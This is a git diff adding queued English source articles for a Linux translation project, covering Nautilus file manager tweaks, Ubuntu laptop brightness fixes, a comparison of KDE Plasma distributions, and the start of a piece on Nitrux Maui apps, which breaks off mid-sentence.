100644 index 0000000000..c7fbed5ef4 --- /dev/null +++ b/sources/tech/20220716 13 Ways to Tweak Nautilus File Manager in Linux to Get More Out of it.md @@ -0,0 +1,302 @@ +[#]: subject: "13 Ways to Tweak Nautilus File Manager in Linux to Get More Out of it" +[#]: via: "https://itsfoss.com/nautilus-tips-tweaks/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +13 Ways to Tweak Nautilus File Manager in Linux to Get More Out of it +====== +Nautilus is GNOME’s default file manager application, and you may have seen it in many Linux distributions. + +It’s a good file manager with plenty of features. However, you can enhance your experience by employing some tweaks and tips. + +I am going to share such tips and tweaks in this article. Some tweaks may require installing additional Nautilus plugins, while some are built-in but lesser-known features. A few tips are purely cosmetic and just change the look and feel. + +### Customizing GNOME’s File Manager + +![customizing gnome nautilus file manager][1] + +GNOME’s default file explorer used to be called [Nautilus][2]. It is now called Files. However, seasoned Linux users still refer to it as Nautilus. I have used both terms here. + +One more thing. **You don’t have to try and install each Nautilus plugin**. Read the article and go with the ones that would be helpful for you. + +I have added the Nautilus extension commands for Ubuntu/Debian. If you are using some other distribution, please use your package manager to install them. + +#### 1. Show number of items in folders + +You can show how many files and folders are inside a folder in GNOME Files. + +![Item Count Inside Folder Visible][3] + +You don’t need to install any plugins for it. It’s a built-in feature. + +Go to the **Preferences** in Nautilus. + +![GNOME Files Preferences][4] + +Under **Icon View Captions**, set the **First** place to **Size**. + +![Nautilus Preferences][5] + +#### 2. Add new document creation option in right click context menu + +This is a feature that can increase your productivity. Right click on an empty place inside a folder and it should you see the option to create a new, empty text file or document. + +It was removed from GNOME a few years back and it is likely to make a come back in the next GNOME release. + +To achieve this, you need to create an empty file and name it **New Document**. Then save this file to the Templates directory to get it in the right-click context menu. + +![Create a template first in the Templates directory][6] + +After this, you should see the option in the right-clikc context menu. + +![Nautilus Right Click New Document][7] + +You can also add Word documents, PPT presentation options, etc in the right-click context menu similarly. + +#### 3. Add a permanent delete option in right-click context menu + +By default, Nautilus provides “Move to trash” option in the right-click context menu. If you want to permanently delete a file or folder, you need to **shift+delete** or empty it from the trash. + +You can enable Delete Permanent button under the right-click context menu from Nautilus **preferences**. + +![Permanent delet option in Nautilus Preferences][8] + +Now you will have an option to delete files and folders permanently in the right-click context menu. + +![Permanent delete option under right click context menu][9] + +#### 4. Completely wipe files and folders from the disk + +Even if you permanently delete a file, chances are that the [data could still be recovered][10]. + +Nautilus provides an extension to wipe files securely and fill the empty places so that data can not be recovered anymore. + +Install the Nautilus extension first. + +``` +sudo apt install nautilus-wipe +``` + +And then restart the file explorer: + +``` +nautilus -q +``` + +![Wipe out files in Nautilus][11] + +#### 5. Enable quick file preview + +Quick preview is rather a handy feature for a file manager. KDE’s Dolphin file manager provides it as a built-in feature. + +You can preview files such as PDF, text, images, audio, etc. You can scroll documents while in preview. + +In Nautilus, you need to install gnome-sushi to get this feature. + +``` +sudo apt install gnome-sushi +``` + +Now, close all instances of file manager and open it again. To see the preview, select a file and press the Space key. + +![Preview Files in Nautilus Using GNOME Sushi][12] + +#### 6. Get the list of recently visited directories + +Nautilus has the feature to show ‘recently accessed files’. But what about the recently visited folders? + +That can also be accessed. On the top left, **right-click on the back arrow** to get the list of previously visited folders. + +![list of directories visited][13] + +#### 7. Bookmark folders to the left sidebar for quick access + +If you frequently access some folders, it would be better to access them from the left sidebar quickly. + +It’s quite simple, actually. Select the folder and drag and drop to the left sidebar. The [folder will be added as a bookmark][14]. + +![Adding a folder as bookmark][15] + +You can remove bookmark the same way. Just drag and drop it from the sidebar. + +#### 8. Rotate and Resize images with a right click + +To enable this functionality, you need to install ImageMagick and nautilus-image-converter. + +``` +sudo apt install imagemagick nautilus-image-converter +``` + +After it is installed, quit nautilus with *nautilus -q* and re-open nautilus. + +Now select the image and [right-click to get resize and rotate images][16]. + +![Rotate and Resize Images with Nautilus][17] + +#### 9. Change the colors of individual folders + +If you want to add some color to your file explorer, how about changing the colors of the folders? + +You can change icons and colors of all folders by using a different icon and theme. + +But you may also opt for just changing the colors of selected few folders. + +![Custom Folder Color in Nautilus File Manager][18] + +For that, install the following package. + +``` +sudo apt install folder-color +``` + +Now, quit Nautilus with **nautilus -q** command. Upon re-opening, select a folder and right-click on it. You will find the option to change the color of the folder. + +![Change Folder Color Right Click Option][19] + +A step further, you can add emblems to files or folders like important, favorite, etc. + +![Folder and File Emblem in Nautilus][20] + +#### 10. Change icons of individual directories + +This one takes me back to the Windows XP era. Nautilus also has the built-in feature to change the icons of selected directories. + +To do that, right-click on a folder and go to properties. + +![properties dialog box of a directory][21] + +From there, select the Icon, browse and choose the image of your choice. + +![Changing Folder Icon][22] + +#### 11. Open any location in the terminal + +No need for any extra steps for this one. From any location in the file manager, just right-click and select ‘Open in terminal’ option. + +![Open the current location in a terminal in Ubuntu][23] + +It will open a new terminal, and you’ll be in the exact location as the Nautilus file manager. + +![location opened in terminal][24] + +This comes in handy when you have to do something in the terminal on the files in a particular location. It saves the effort of typing a long path. + +#### 12. Open files and folder as root from the file manager + +You sometimes want to paste files to restricted directories, like /usr/share/backgrounds. You cannot paste such locations or cannot edit such files unless you are root or use sudo. + +You can easily switch do that in the terminal but what about the file manager? + +With nautilus-admin extension, you can open files as root within Nautilus. No need to open the terminal and perform sudo actions. + +``` +sudo apt install nautilus-admin +``` + +Quit Nautilus after installing the plugin: + +``` +nautilus -q +``` + +You should see the “Open as Administrator” option in the right-click menu now. + +![open as admin in nautilus][25] + +#### 13. Verify hash checksum of files + +There are dedicated tools to [verify checksum of files in Linux][26]. You can also check hashes in the Nautilus file manager with nautilus-gtkhash extension. + +``` +sudo apt install nautilus-gtkhash +``` + +Now quit nautilus using **nautilus -q** and re-open. Select the file to check hash and go to the **Digests** tab in properties. + +![Check Hashes in Nautilus][27] + +Now enter the Hash to check and press Hash. It will start calculating the hash. + +![Nautilus Checking Hash Progress][28] + +After some time, it will show the result (green tick mark if the hash is valid). + +![Nautilus Checking Hash Success][29] + +#### Bonus: Embed a terminal + +In the Nautilus file manager, you can embed a terminal. Each time you change directories, a cd command is initiated and the location in the embedded terminal is also changed. + +Installing it requires getting several Python packages first. Here are the commands, use them one by one: + +``` +sudo apt install python3-nautilus python3-psutil python3-pip libglib2.0-bin dconf-editor +sudo pip3 install nautilus-terminal +sudo nautilus-terminal --install-system +nautilus -q +``` + +![Embedded Terminal in Nautilus][30] + +### There are more Nautilus extensions and tweaks + +There is no end to customizing the GNOME file manager. I could only include a selected few. A few more I could think of are: + +* Opening split view in Nautilus from the hamburger menu +* Showing or hiding the Places panel from preferences +* Integrating various cloud storage platforms like Google Drive, Dropbox, Nextcloud, Owncloud, etc +* Deleting items by dragging them into the trash folder +* Zooming in and out by pressing the Control key and scrolling + +Check out the [guide on tweaking the Ubuntu dock][31] if you want more customization. + +I hope you find a few interesting ones here. Which ones do you like the most? Do you know some other tweak that I didn’t mention here? Share it in the comments. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/nautilus-tips-tweaks/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/07/customizing-GNOME-Nautilus-File-Manager.png +[2]: https://gitlab.gnome.org/GNOME/nautilus +[3]: https://itsfoss.com/wp-content/uploads/2022/07/Item-count-inside-folder-visible.png +[4]: https://itsfoss.com/wp-content/uploads/2022/07/GNOME-Nautilus-Preferences-scaled.webp +[5]: https://itsfoss.com/wp-content/uploads/2022/07/Nautilus-preferences.png +[6]: https://itsfoss.com/wp-content/uploads/2022/07/Nautilus-Empty-file-in-Templates-Directory.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/Nautilus-Right-Click-New-Document.png +[8]: https://itsfoss.com/wp-content/uploads/2022/07/Delete-option-in-nautilus-preferences.png +[9]: https://itsfoss.com/wp-content/uploads/2022/07/Delete-option-under-right-click-context-menu.png +[10]: https://itsfoss.com/recover-deleted-files-linux/ +[11]: https://itsfoss.com/wp-content/uploads/2022/07/Secure-wipe-in-nautilus.png +[12]: https://itsfoss.com/wp-content/uploads/2022/07/preview-files-in-nautilus-using-gnome-sushi.png +[13]: https://itsfoss.com/wp-content/uploads/2022/07/List-of-directories-visited.png +[14]: https://itsfoss.com/add-remove-bookmarks-ubuntu/ +[15]: https://itsfoss.com/wp-content/uploads/2022/07/add-folder-as-bookmark-GNOME-Files-scaled.webp +[16]: https://itsfoss.com/resize-images-with-right-click/ +[17]: https://itsfoss.com/wp-content/uploads/2022/07/Rotate-and-Resize-Images-with-nautilus.png +[18]: https://itsfoss.com/wp-content/uploads/2022/07/Custom-Folder-Color-in-nautilus-file-manager-800x280.png +[19]: https://itsfoss.com/wp-content/uploads/2022/07/Change-Folder-Color-Right-Click-Option.png +[20]: https://itsfoss.com/wp-content/uploads/2022/07/Folder-and-File-Emblem-in-Nautilus.png +[21]: https://itsfoss.com/wp-content/uploads/2022/07/properties-dialog-box-of-a-directory-800x527.png +[22]: https://itsfoss.com/wp-content/uploads/2022/07/Changing-Folder-Icon.png +[23]: https://itsfoss.com/wp-content/uploads/2022/07/open-in-terminal-ubuntu-scaled.webp +[24]: https://itsfoss.com/wp-content/uploads/2022/07/location-opened-in-terminal-800x304.png +[25]: https://itsfoss.com/wp-content/uploads/2022/07/open-as-admin-in-nautilus-800x502.png +[26]: https://itsfoss.com/checksum-tools-guide-linux/ +[27]: https://itsfoss.com/wp-content/uploads/2022/07/Check-hashes-in-nautilus.png +[28]: https://itsfoss.com/wp-content/uploads/2022/07/Nautilus-Checking-Hash-Progress.png +[29]: https://itsfoss.com/wp-content/uploads/2022/07/Nautilus-Checking-Hash-Success.png +[30]: https://itsfoss.com/wp-content/uploads/2022/07/Embedded-terminal-in-nautilus.png +[31]: https://itsfoss.com/customize-ubuntu-dock/ diff --git a/sources/tech/20220716 4 Ways to Fix the Laptop Brightness Problem In Ubuntu.md b/sources/tech/20220716 4 Ways to Fix the Laptop Brightness Problem In Ubuntu.md new file mode 100644 index 0000000000..5076a34691 --- /dev/null +++ b/sources/tech/20220716 4 Ways to Fix the Laptop Brightness Problem In Ubuntu.md @@ -0,0 +1,176 @@ +[#]: subject: "4 Ways to Fix the Laptop Brightness Problem In Ubuntu" +[#]: via: "https://www.debugpoint.com/2-ways-fix-laptop-brightness-problem-ubuntu-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +4 Ways to Fix the Laptop Brightness Problem In Ubuntu +====== +This article features four quick ways to fix the everlasting Laptop brightness problem in Ubuntu. + +Ubuntu plus most of the [Linux distributions][1] always had issues with Laptop brightness. The default hardware controllers never in the Laptop keyboard worked most of the time after a fresh install. + +![brightness-control-keys-dell][2] + +![brightness-control-keys-samsung][3] + +Follow the below definite steps that worked till now for most laptops based on feedback on this website at our [old article][4]. + +**The described methods worked for the below models (so far). For the complete list of Laptops/Desktops where either of these four methods worked, refer to the list at the bottom of this article.** + +* ASUS G75-VW +* Dell Vostro 3000 Series +* Samsung RV411 Series + +### Fix the Laptop Brightness Problem In Ubuntu + +#### Method 1: Fix Brightness Enabling Laptop Specific Drivers + +* Open the file `/etc/default/grub` using gedit or any other text editor.Find the below line. + +``` +GRUB_CMDLINE_LINUX_DEFAULT="quiet splash" +``` + +* Change the above line to: + +``` +GRUB_CMDLINE_LINUX_DEFAULT="quiet splash acpi_backlight=vendor" +``` + +![grub update for brightness control][5] + +This would ensure to load of device-specific drivers before default drivers in Linux. + +* Save the file and close the text editor. +* Open the terminal and run the below command. + +``` +update-grub +``` + +* Reboot. + +After rebooting, try adjusting the brightness using laptop’s dedicated control keys. + +![brightness-control-via-oem-keys][6] + +#### Method 2: Fix Brightness Using a Software + +If the above method does not work, you could try the below method using an app. + +This app, ‘[Brightness Controller][7]‘, can control the display using a simple GUI. It supports multiple displays as well. + +The app is available in PPA. You can run the below command to install Ubuntu 16.10 Yakkety Yak, Ubuntu 16.04 Xenial Xerus, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS or [Ubuntu 22.04 LTS][8]. + +``` +sudo add-apt-repository ppa:apandada1/brightness-controller +sudo apt update +sudo apt install brightness-controller +``` + +For other download options, you can refer to this [page][9]. + +![brightness-controller-running][10] + +After installation, you can find it under the application menu or search for it in the application menu. Once opened, you can see a bar that controls the display brightness, which you can adjust as per your need. + +#### Method 3: Fix Brightness by configuring X11 + +Follow this method if none of the above fixes works. This should be the last resort. + +Open a terminal session. Then browse to the[X11 config file][11] path `/etc/X11/xorg.conf.d` + +``` +cd /etc/X11/xorg.conf.d +``` + +**If you do not find any file in the above path**, check the below path for the configuration. This is mainly for those systems where you have logged in as a local user and not a root user. + +``` +cd /usr/share/X11/xorg.conf.d +``` + +Then list the files via `ls`. You can see something like this below. + +``` +ls +``` + +![X11 Path][12] + +For this example, you can see it has a file named `10-evdev.conf`. For your system, it might be different. So open the file via test editor as root. + +``` +sudo gedit /etc/X11/xorg.conf.d/10-evdev.conf +``` + +Add the below lines entirely at the end of this file and save the file. + +``` +Section "Device" +Identifier "Device0" +Driver "nvidia" +VendorName "NVIDIA Corporation" +Option "RegistryDwords" "EnableBrightnessControl=1" +EndSection +``` + +Sample file below: + +![Editing the conf file][13] + +Once you are done, restart the system. + +You should be able to control the brightness now using the laptop hardware keys. + +#### Method 4: Fix Brightness using xrandr + +If none of the above methods gives you hope, try the following method. This uses xrandr’s properties, the official config utility for X server Resize and Rotate. + +Open a terminal and find out the name of your display using the below command. In the below screenshot, you can see two outputs because, in my test system, two displays are there. + +``` +xrandr | grep " connected" | cut -f1 -d " " +``` + +So, the next is to change the brightness using the display name. So, use the following command by changing the monitor name. In this example, I have used eDP-1, my system’s display. The brightness value range is 0 to 1, where 0 is the dimmest and 1 is the brightest. + +![brightness control using xrandr][14] + +``` +xrandr --output eDP-1 --brightness 0.7 +``` + +To revert, you can use the above command with brightness=1. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2-ways-fix-laptop-brightness-problem-ubuntu-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/distributions/ +[2]: https://www.debugpoint.com/wp-content/uploads/2016/10/Brightness-Control-Keys-DELL.png +[3]: https://www.debugpoint.com/wp-content/uploads/2016/10/Brightness-Control-Keys-Samsung.png +[4]: http://www.debugpoint.com/2014/10/how-to-fix-brightness-control-in-ubuntu/ +[5]: https://www.debugpoint.com/wp-content/uploads/2014/10/grub-update-for-brightness-control.png +[6]: https://www.debugpoint.com/wp-content/uploads/2016/10/Brightness-Control-Via-OEM-Keys.png +[7]: http://lordamit.github.io/Brightness/ +[8]: https://www.debugpoint.com/web-stories/ubuntu-22-04-review/ +[9]: https://github.com/LordAmit/Brightness +[10]: https://www.debugpoint.com/wp-content/uploads/2016/10/Brightness-Controller-Running.png +[11]: https://www.x.org/releases/current/doc/man/man5/xorg.conf.5.xhtml +[12]: https://www.debugpoint.com/wp-content/uploads/2016/10/X11-Path.png +[13]: https://www.debugpoint.com/wp-content/uploads/2016/10/Editing-the-conf-file.png +[14]: https://www.debugpoint.com/wp-content/uploads/2016/10/brightness-control-using-xrandr.jpeg diff --git a/sources/tech/20220716 Top 10 Linux Distributions for KDE Plasma [Compared].md b/sources/tech/20220716 Top 10 Linux Distributions for KDE Plasma [Compared].md new file mode 100644 index 0000000000..a4ce84883b --- /dev/null +++ b/sources/tech/20220716 Top 10 Linux Distributions for KDE Plasma [Compared].md @@ -0,0 +1,259 @@ +[#]: subject: "Top 10 Linux Distributions for KDE Plasma [Compared]" +[#]: via: "https://www.debugpoint.com/top-linux-distributions-kde-plasma/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Top 10 Linux Distributions for KDE Plasma [Compared] +====== +Are you planning to adopt a stable KDE Plasma-based desktop in Linux and thinking about it as a daily driver? Well, here we present the top 10 Linux distributions better integrated with KDE Plasma. + +KDE Plasma desktop is used by millions today. And with an active set of developers and community, it is improving every day with new features aligning with technology trends. The KDE technology evolved over the years to reach a point where it is now running on desktops, laptops, tabs, mobile phones and hand-held gaming devices. It’s incredible, isn’t it, for a desktop environment? + +Often I hear or read about bugs in KDE Desktop, or it is being termed as “too many options” compared to GNOME. I agree with that. But we can not ignore the fact that despite all those arguments & opinions – the KDE Plasma desktop is a “go-to” solution for any individual or enterprise use case. It has a well-established road map, built on unique Qt technology that can even run on automobiles and other platforms, Plus a dedicated foundation with a huge set of developers working every day to polish this desktop. + +That brings me to the purpose of writing this article. There are hundreds of Linux distributions featuring the KDE Plasma desktop. But which one to choose? What are their advantages or disadvantages? Which is best for me? We try to cover all these questions in this article and help you decide on your own. + +### Top 10 Linux Distributions for KDE Plasma Desktop + +I have compiled the following list in terms of use cases and not much in technical terms – such as installation, terminal usage, etc. + +#### 1. Kubuntu + +![Kubuntu Desktop][1] + +[Kubuntu][2] is an official KDE Plasma Desktop flavour of the Ubuntu Linux operating system. It uses same set of underlying packages of Ubuntu and follow Ubuntu release schedule. That means it releases a new version when Ubuntu does. As it is based on Ubuntu, you get a huge help and support community that comes with Kubuntu flavour. This official Ubuntu flavour is the most used KDE Plasma desktop today. + +**Pros** + +* Very stable system in terms of bugs – both LTS and non-LTS versions +* LTS versions have 5 years of support +* Huge community-based help system +* Easy to use + +**Cons** + +* Delay of around 6 months to receive latest from KDE Plasma desktop. The reason being stability that Ubuntu requires. + +[Download Kubuntu][3] + +#### 2. KDE Neon + +[KDE Neon][4] is the official Linux distribution which features the latest KDE Plasma Desktop, KDE Framework and KDE Applications from KDE Community. This Linux distribution directly comes from the KDE Development team and is based on Ubuntu. KDE Neon comes with two variants. A User edition and a Developer’s Edition. The User Edition is for everyone who wants to experience the latest KDE Plasma desktop that is tested and ready to use. But it may have some little bugs – but not a dealbreaker, if you ask me. The Developer edition for, as it says – for developers with cutting-edge packages. This is ideal for those who are a little experienced in the Linux platform and have time to get around occasional problems. But this is also reasonably stable. + +![KDE Neon Desktop][5] + +**Pros** + +* Latest KDE Applications, Packages and Framework +* Based on the Ubuntu base +* First to receive new KDE Plasma Versions + +**Cons** + +* It May contain occasional bugs + +[Download KDE Neon][6] + +#### 3. Fedora KDE Edition + +[Fedora Linux][7] is an RPM package manager-based Linux distribution that is community-supported and owned by Red Hat. This free and open-source Linux distribution features leading-edge packages and technology and supports a KDE Plasma edition. Although its official edition features GNOME desktop, but an official KDE Plasma “spin” is available. You get the latest KDE Packages with each Fedora release, which happens twice a year. Ideally, it’s similar to Kubuntu; the only difference is its underlying package management and a different sponsoring company. + +![KDE Plasma in Fedora Linux][8] + +**Pros** + +* Well-designed and stable Linux Distribution +* New KDE Plasma releases twice a year +* Suitable for new and advanced users +* Versatile community support + +**Cons** + +* Fedora Linux with KDE may feel a little complex for absolute new Linux users + +[Download Fedora KDE Edition][9] + +#### 4. OpenSUSE KDE Edition + +The [openSUSE][10] is a complete Linux Distribution targeted for new and experienced users. This is sponsored by SUSE Linux and other companies. It supports KDE Plasma desktop as one of the desktop offerings. With OpenSUSE KDE Edition, you can get a rolling release version (aka Tumbleweed) with the latest KDE technology and a long-term-support version with stable and well-tested KDE Plasma (aka Leap). If you’re a non-Ubuntu, non-Fedora KDE Plasma flavour, then this is the one you should choose. + +![KDE Plasma in OpenSUSE][11] + +**Pros** + +* Well-established Linux Distribution commercially, hence a quality Linux with KDE +* Provides both rolling and long-term-support release +* Support a wide variant of hardware out of the box (single board devices, thin clients terminals, desktops, laptops, PowerPC and more) + +**Cons** + +* Probably a less famous Linux Distribution hence free support via forums might be less + +[Download OpenSUSE KDE Edition (Leap)][12] + +#### 5. Manjaro KDE Edition + +[Manjaro][13] Linux is an Arch Linux-based Linux distribution that follows a rolling release model. It is a very fast, user-friendly desktop operating system which gives several benefits such as automatic hardware detection, multiple Linux Kernel support and well-designed configuration settings. Both Manjaro with KDE Plasma is perfect for those with a little knowledgeable person in Linux who wants to experience Arch Linux with KDE. + +**Pros** + +* Rolling release brings the latest KDE Plasma Desktop packages within a week or two after the official Plasma release +* Provides options to GUI installers for Arch +* Good community support via forums + +**Cons** + +* Arch Linux-based distributions sometimes become buggy and unstable due to continuous package updates +* It May not be suitable for absolutely new users or those aiming for a stable system that runs for multiple years without re-installations + +[Download Manjaro KDE][14] + +#### 6. EndeavourOS KDE Edition + +[EndeavourOS][15] is a fairly new Arch-Linux based Linux distribution that supports KDE Plasma as of their offerings. It provides an easy-to-use installation and pre-configured desktop environment. The one of the best-selling point of this Linux is you get to choose what you install and GUI based desktop-tweak scripts that comes preloaded. A growling Linux distribution which looks promising. + +**Pros** + +* Easy installation for Arch Linux based – KDE Plasma Desktop +* One-click ready-made scripts to perform various desktop actions (such as updates) +* Supports multiple Linux Kernel versions for Arch +* Perfect for new users who wants to experience and learn Arch with KDE Plasma + +**Cons** + +* Fairly new Linux Distribution and community supported +* Difficult to commit to this distribution if you are an organization planning to adopt KDE Plasma with this flavour for multiple installation units. + +[Download EndeavourOS][16] + +#### 7. MX Linux KDE Edition + +[MX Linux][17] is a Linux distribution based on Debian’s Stable branch. Debian is a Universal Linux Operating System, the father of Ubuntu and all derivatives. It’s the core of all those Linux distribution. It rarely breaks and gives you an unstable system. With the power of Debian, MX Linux brings its flavours by providing its in-house utilities and packages. It’s KDE edition is perfect for all users, especially if you want a stable KDE Desktop which runs for years. But you may not get the latest technology immediately, as Debian’s release cycle has been slower in years. That means that to get the latest KDE plasma technology, you may need to wait 1.5 to 2 years. + +**Pros** + +* Stable Linux with well-tested KDE Plasma packages +* It can be suitable for systems where stability trumps the latest features +* Suitable for new users and advanced ones +* Provides good coverage for low-end and older hardware +* One of the best In-house utilities provided by MX Linux for various desktop tasks + +**Cons** + +* It follows Debian’s stable releases. Hence KDE Plasma desktop version upgrades take years to reach you. + +[Download MX Linux KDE Edition][18] + +#### 8. Garuda Linux + +[Garuda Linux][19]is also an Arch-based rolling release distribution that provides KDE Plasma desktop as it’s one of the flavours. It comes with an easy-to-use Calamares installer and other graphical tools to manage your desktop. + +The significant difference between Garuda with other Arch-based distributions is it provides some tools out of the box for managing your system performance. Some of them are zram, CPU Governor, and custom tools for memory management. + +**Pros** + +* Arch-based Linux with custom tools for memory management +* Official KDE Plasma flavour + +**Cons** + +* Very new Linux distribution with its first release on March 2020 +* It requires a relatively high-end hardware to work correctly (Minimum 8GB RAM, 40 GB Storage) + +[Download Garuda Linux][20] + +#### 9. Nitrux + +This is a unique Linux distribution for KDE Plasma. I wanted to add this to this list because of only the out-of-the-box looks it provides. Nitrux is a Linux distribution that is based on Debian’s unstable SID branch. This only provides a customized KDE Plasma desktop that is enhanced with “plasmoids”, Kvantum themes. Technically the desktop is called NX-Desktop, a KDE Plasma variant with all those look and feel changes. This Linux distribution provides the latest KDE Plasma tech as it’s based on Debian unstable branch and uses AppImage for application deployments. + +**Pros** + +* One of the best-customized versions of the KDE Plasma desktop is available out of the box. +* Aesthetically pleasing with Nitrix icons and themes with the power of Kvuntum. +* Support of AppImage + +**Cons** + +* Sometimes it is unstable due to the Debian SID branch +* Complete dependency on AppImage sometimes creates a problem +* Not a suitable distribution for beginners users of KDE Plasma + +[Download Nitrux][21] + +#### 10. KaOS + +The final distribution I would like to mention here is [KaOS][22] because of its uniqueness. KaOS is a specially designed Linux distribution that provides bleeding-edge KDE Plasma desktop with a special focus on Qt and KDE. It is a rolling release Linux distribution and not based on Ubuntu/Fedora. It is an independent Linux distribution. Furthermore, it provides packages via in-house repositories that provides an extra quality over direct packages from Arch Linux. It is only available for 64-bit systems. + +**Pros** + +* Well-designed KDE Plasma ready to use for new users +* Rolling release with in-house repository gives latest KDE Plasma with extra quality in terms of stability + +**Cons** + +* Not so popular, and hence you may get less support in terms of forums, Google search. +* It may not ready yet for absolutely new users, as printing errors may require a little more Linux knowledge. + +[Download KaOS][23] + +### Honorary Mentions of other KDE Plasma-based Linux distributions + +Apart from the above list, you may want to check out vanilla Debian stable with KDE Desktop installed from scratch. That would give you the stability of Debian with the customized KDE packages you want. You can follow our [Debian installation guide][24] to get it going. + +Also, one of the Linux distributions I think needed a mention here – is [Q4OS][25]. The reason is it provides Trinity desktop environment, which is a KDE 3 fork. Not the latest KDE Plasma 5+ series. The earlier KDE 3 version was adorable, with its own set of aesthetics. Those who like earlier KDE Desktop and widgets may want to check out Q4OS. + +### How to find out which is the best KDE Plasma Linux distribution for you? + +Several factors are involved when you decide on a Linux distribution and Desktop environment. For example, you might always need bleeding-edge latest KDE tech, and it’s okay if it’s a little unstable. On the other hand, you might need rock-solid stability and may not require the latest KDE tech. So, holding on to that thought here’s a quick comparison table we prepared for you to help you decide. + +![KDE Plasma with Linux Distributions - Comparison][26] + +### Conclusion + +We have covered a list of the best Linux distributions that feature KDE Plasma desktop. We also listed some pros and cons with comparisons. Now, which is the best for you or your team/school/organization – is up to you to choose. But honestly, that depends on the use case, the situations you are in, or the problem you are trying to solve by adopting the KDE Plasma desktop. + +The choice is subjective, and everyone has a different taste. With that in mind, I hope this gives you some guidance in adopting a KDE Plasma desktop with a perfect Linux distribution. Let me know your opinion on the above list and the comparison in the comment box below. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/top-linux-distributions-kde-plasma/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/12/Kubuntu-Desktop.jpg +[2]: https://kubuntu.org/ +[3]: https://kubuntu.org/getkubuntu/ +[4]: https://neon.kde.org/ +[5]: https://www.debugpoint.com/wp-content/uploads/2021/12/KDE-Neon-Desktop-1024x576.jpg +[6]: https://neon.kde.org/download +[7]: https://spins.fedoraproject.org/en/kde/ +[8]: https://www.debugpoint.com/wp-content/uploads/2021/12/KDE-Plasma-in-Fedora-Linux-1024x576.jpg +[9]: https://spins.fedoraproject.org/kde/download/index.html +[10]: https://get.opensuse.org/leap/ +[11]: https://www.debugpoint.com/wp-content/uploads/2021/12/KDE-Plasma-in-OpenSUSE-1024x575.jpg +[12]: https://get.opensuse.org/leap/ +[13]: https://manjaro.org/ +[14]: https://manjaro.org/download/ +[15]: https://endeavouros.com/ +[16]: https://endeavouros.com/latest-release/ +[17]: https://mxlinux.org/ +[18]: https://mxlinux.org/download-links/ +[19]: https://garudalinux.org/ +[20]: https://garudalinux.org/downloads.html +[21]: https://nxos.org/ +[22]: https://kaosx.us/ +[23]: https://kaosx.us/pages/download/ +[24]: https://www.debugpoint.com/2021/01/install-debian-buster/ +[25]: https://q4os.org/ +[26]: https://www.debugpoint.com/wp-content/uploads/2021/12/KDE-Plasma-with-Linux-Distributions-Comparison3-1024x216.jpg diff --git a/sources/tech/20220716 Top Nitrux Applications -Maui- Everyone Should Try.md b/sources/tech/20220716 Top Nitrux Applications -Maui- Everyone Should Try.md new file mode 100644 index 0000000000..8f4f416914 --- /dev/null +++ b/sources/tech/20220716 Top Nitrux Applications -Maui- Everyone Should Try.md @@ -0,0 +1,185 @@ +[#]: subject: "Top Nitrux Applications (Maui) Everyone Should Try" +[#]: via: "https://www.debugpoint.com/top-nitrux-maui-applications/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Top Nitrux Applications (Maui) Everyone Should Try +====== +This article showcases some of the excellent Maui native applications that come as default in Nitrux OS Linux distribution. + +### What are Maui Apps and Nitrux OS + +[Nitrux][1] is a Linux Distribution and a complete operating system based on Debian with the power NX Desktop, which uses KDE Plasma and Mauikit components. It is one of the most beautiful Linux distributions today, giving you the best looks and performance. + +Nitrux is powered by its native [Maui applications][2], specifically designed to work in Nitrux and all form factor devices – a proper form of convergence. That means these Maui applications can run on mobile devices running KDE Plasma mobile OS and desktop Linux while their functionality remains the same. + +**Note:** Some of these applications can run in Android OS as well. + +This article would like to showcase the following Maui applications installed as default in Nitrux OS. + +### Top Nitrix Applications – based on Maui Components + +#### Index – File Manager + +Perhaps the most used app in Nitrux OS is the [Index][3], its default file manager. The Index File Manager looks slightly different from traditional file managers in Linux, such as Dolphin or Nautilus. + +The user interface is neat and clean. The icons are menu options are well organized and visually expressive. It supports advanced features such as split view open in terminal options. The sidebar is a little different with its icon-based grid options, and there is an option to auto-hide the sidebar. + +I would not detail the usual apparent features, such as zoom in/out or view modes. They are similar to the other popular file managers in the Linux ecosystem. + +Some of the unique features I must highlight are as follows. + +The built-in Terminal option is one of the best features to quickly check certain items or do some basic processing if you wish while browsing the file system. + +Another feature I like in this File manager is the preview option of the files. You can preview images, text files, videos and PDFs without opening them. + +![Index file manager showing split view and terminal][4] + +Finally, a unique feature that I believe none of the other File managers currently have is the overview 